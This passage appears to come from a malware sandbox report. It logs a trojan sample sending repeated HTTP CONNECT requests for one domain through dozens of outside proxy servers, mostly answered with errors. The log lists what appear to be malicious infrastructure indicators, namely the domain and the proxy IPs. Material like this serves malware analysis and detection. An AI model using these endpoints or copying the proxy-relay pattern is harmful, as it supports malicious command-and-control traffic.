Feb 23, 2024 14:28:32.060647964 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.8	53678	104.16.104.12	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.008696079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.096627951 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.8	53665	79.110.196.145	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.025384903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.8	52970	159.223.71.71	60512	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.052191973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.194894075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.288928032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.289060116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.288464069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.8	53690	104.21.223.181	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.052290916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.148838043 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.8	53499	74.119.147.209	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.052521944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1232	192.168.2.8	51555	51.15.139.59	16379	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.063296080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.249839067 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1233	192.168.2.8	53266	72.37.216.68	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.104341030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1234	192.168.2.8	53699	159.223.166.21	45537	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.105925083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.492024899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.991909027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.679617882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.882662058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:36.195116997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.492090940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.992223978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.991967916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1235	192.168.2.8	53531	187.210.136.88	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.124186039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1236	192.168.2.8	52921	92.246.139.112	10008	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.173727989 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.194936991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.288784027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.289325953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.304256916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:08.319809914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1237	192.168.2.8	53668	107.148.98.224	58394	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.186429024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.991916895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.456137896 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1238	192.168.2.8	53713	172.67.14.237	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.193649054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.282944918 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1239	192.168.2.8	53333	135.181.55.81	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.204554081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1240	192.168.2.8	53675	154.12.178.107	29985	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.208152056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1241	192.168.2.8	53702	45.11.95.165	6049	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.208152056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.898055077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.615804911 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1242	192.168.2.8	53673	202.131.159.58	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.208512068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1243	192.168.2.8	53703	176.120.32.135	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.220904112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1244	192.168.2.8	53351	42.61.48.219	8000	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.229398966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.382762909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492230892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.720675945 CET	74	IN	HTTP/1.1 200 OK date: Fri, 23 Feb 2024 13:08:49 GMT server: svcproxy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1245	192.168.2.8	53708	45.43.83.188	6471	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.232413054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.474493980 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:32 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1246	192.168.2.8	53529	1.15.62.12	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.247092962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1247	192.168.2.8	53709	109.69.0.179	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.266535044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1248	192.168.2.8	53087	103.148.51.19	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.270505905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1249	192.168.2.8	53089	139.99.35.195	1180	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.295855999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.398092985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492150068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1250	192.168.2.8	53133	103.115.255.106	36331	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.318442106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1251	192.168.2.8	53174	132.148.154.98	50965	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.333251953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.382905006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492259979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.492295027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.491578102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:08.491611958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:20.493098974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1252	192.168.2.8	51619	104.238.111.107	60214	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.345973969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.382962942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:38.492242098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.492290974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:56.491607904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:20.491589069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1253	192.168.2.8	53758	172.67.181.97	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:32.364411116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
